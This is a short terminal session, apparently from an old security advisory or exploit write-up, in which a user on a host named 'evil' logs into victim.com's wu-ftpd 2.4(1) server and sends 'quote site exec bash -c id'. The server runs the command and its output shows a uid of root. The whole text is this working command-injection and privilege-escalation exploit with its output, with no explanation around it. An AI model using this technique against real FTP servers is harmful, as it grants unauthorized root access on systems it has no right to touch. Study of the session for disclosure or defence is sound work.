evil# ftp victim.com
220 victim FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994) ready.
Name (victim:root): good
331 Password required for good.
Password: *****
230 User good logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote «site exec bash -c id»
200-bash -c id
200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)
200 (end of ‘bash -c id‘)